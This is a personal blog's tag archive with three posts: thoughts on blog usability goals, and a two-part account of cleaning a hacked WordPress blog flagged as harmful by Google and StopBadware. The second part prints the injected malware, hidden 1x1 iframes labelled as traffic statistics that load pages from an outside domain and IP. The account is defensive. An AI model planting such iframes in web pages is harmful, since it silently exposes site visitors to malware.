Tag Archives: Blog

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Thoughts on Blog Usability

DSC_0723 I’ve been kicking around the idea of redesigning my homepage and blog, though I’m not sure I really have the free time to do it. To start, I thought I would to put down a few thoughts about applying usability principles when designing blogs.

When you starting thinking about usability it’s temping to jump right into lists of principles and rules of thumb. It’s a little silly applying Fitt’s Law when you haven’t even established what you want your site to accomplish in the first place. So what, generally, do you want your blog to do?

Personal Goals

  • Share thoughts and work with others
  • Collect a body of work to represent myself (like a portfolio)
  • Collect information for later discovery (by myself and others)
  • Provide an outlet to continue practice writing
  • Allow others to communicate with me and comment

If you’re creating or redesigning a blog for a company, the goal set may be very different. Below are some examples that don’t actually apply in my case.

Business goals

  • Communicate with customers
  • Build long term relationships with customers
  • Produce quality content to drive search traffic
  • Generate revenue through advertising
  • Etc.

Many projects don’t even get this far before the graphic designers and web developers are already making mock-ups, but we still have one more important step to do. We know why you’re building a blog, but why are users coming to it?

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Fixing a ‘This site may harm your computer’ warning, part 2: Hidden iFrames

Earlier I wrote about what I did when my WordPress blog started returning a “This site may harm your computer” warning in Google and Firefox. Just to recap, these are the first steps to take to fix the problem:

  1. Plug the hole – update WordPress (or your blog, forum, or CMS software) to plug any security holes.
  2. Repair the damage – search for spammy outgoing links or malware files on your pages and delete them.
  3. Clear your good name – request a review by StopBadware.org and in Google Webmaster Tools.

This is the right process to follow, but it turns out that I was a bit premature in doing step 3. Spammers and spyware spreaders are a wily, unpredictable bunch and they can’t be expected to stick to simple tactics like inserting links into posts.

The other tactic they used on my site was inserting invisible iFrames. These are harder to find because there aren’t as many automated tools to find them (or, at least, I don’t know of any) so it takes some manual searching through your source code. Here’s what the malware code looked like:


<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

<noscript></noscript> <iframe src=”http://61.132.75.71/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe><br />
<!– End Traffic Statistics –>

It looks like others have run into the same issue. Your anti-virus software may even give you a warning about a virus in a file named “wp-stats[1].htm.” In my case AVG Antvirus warned me about a trojan horse in my temp folder.

Once I removed the iframes, I resubmitted my request in Google Webmaster Tools. Here’s another helpful hint that took me a while to figure out: If only part of your site has been hacked and is marked in StopBadware.org’s database, you should Add that subdirectory as a new site in Webmaster Tools. Here’s an illustration (click to see full size):

webmaster-tools-subdir

In this screenshot you can see my main site, www.jasonmorrison.net. If I click there I don’t see any warning about spam or viruses in my blog at www.jasonmorrison.net/content. So I just added my blog as a new “site” and there I could see the warnings and make a reconsideration request.

One last thing: Google may send out an email to try to let you know about these sorts of problems. I never saw these emails, though, since they go to addresses like abuse@yourdomain.com and admin@yourdomain.comthat spammers also like to use. They ended up in my spam bucket. So you might want to whitelist email from google.com.

Next in part three I’ll talk about what to do when a whole subdomain (perhaps with a forum) is filled with spam. Please put questions or additional suggestions in the comments below.

What I did when my site showed up as a bad link

This site is just a humble blog where I write a bit about programming, design, usability, and other topics I’m interested in. It’s nice that I get some readership and few few good comments now and again but I don’t have any real financial stake here, and I’m definitely not interested in trying to spam anyone, send them spyware, etc. So imagine my shock when I noticed that my blog comes up with a warning, “This site may harm your computer.”

This comes up in various places including Firefox 3 and Google searches.  Obviously no one is going to follow a link to my site with such a disclaimer. So where did it come from and what did I do to clear my sites good name?

The disclaimer comes from the findings of StopBadware.org, an effort that I had heard about in the past but hadn’t really looked into. It sounds like a great idea – it’s very difficult for users to investigate every single link they might click on, and some spyware and adware is hard to see before it’s too late. So Stopbadware.org is a sort of neighborhood watch for the web.

How did my site end up on the list? There are a number of possibilities, so the first step is to check StopBadware.org to see what they found. Follow this link to search for your URL. Make sure you search for your root domain, in my case jasonmorrison.net. Some subdomains or directories might show up with a report while others are still considered clean. This confused me for a while.

Once you see the details there it’s time to hunt for problems. If you have anything more than a simple, static site this can be more difficult than it might first seem. My site uses WordPress and allows user comments. A bad link to show up in a comment, or someone may have hacked the site using a known vulnerability. It looks like it was the latter in my case, but I’m getting ahead of myself. How do you find the bad link?

There are lots of tools to find incoming links to your site, but I’ve only found one so far that checks outgoing links, at Bad Neighborhood. Don’t blindly rely on this tool, but follow up on any links that you don’t recognize having put there yourself. I found a link in the middle of a post from a month or so ago to some spammy German site.

How did the link get there? I don’t think my site was hacked wholesale (or if it was, they were very subtle about it). More likely someone took advantage of my laziness as upgrading WordPress and used a known security exploit.

Now that we’ve found and removed the offending link and plugged any known security holes, it’s time to try to get the stigma removed. Follow the link to the StopBadware.org request for review page and fill out a request. If the badware report came from one of their partners, you may have to follow up with them as well. I’m still waiting to here back on my review, I’ll post an update when I know more.

Hopefully this has been helpful. Let me know if you have any questions or suggestions in the comments below.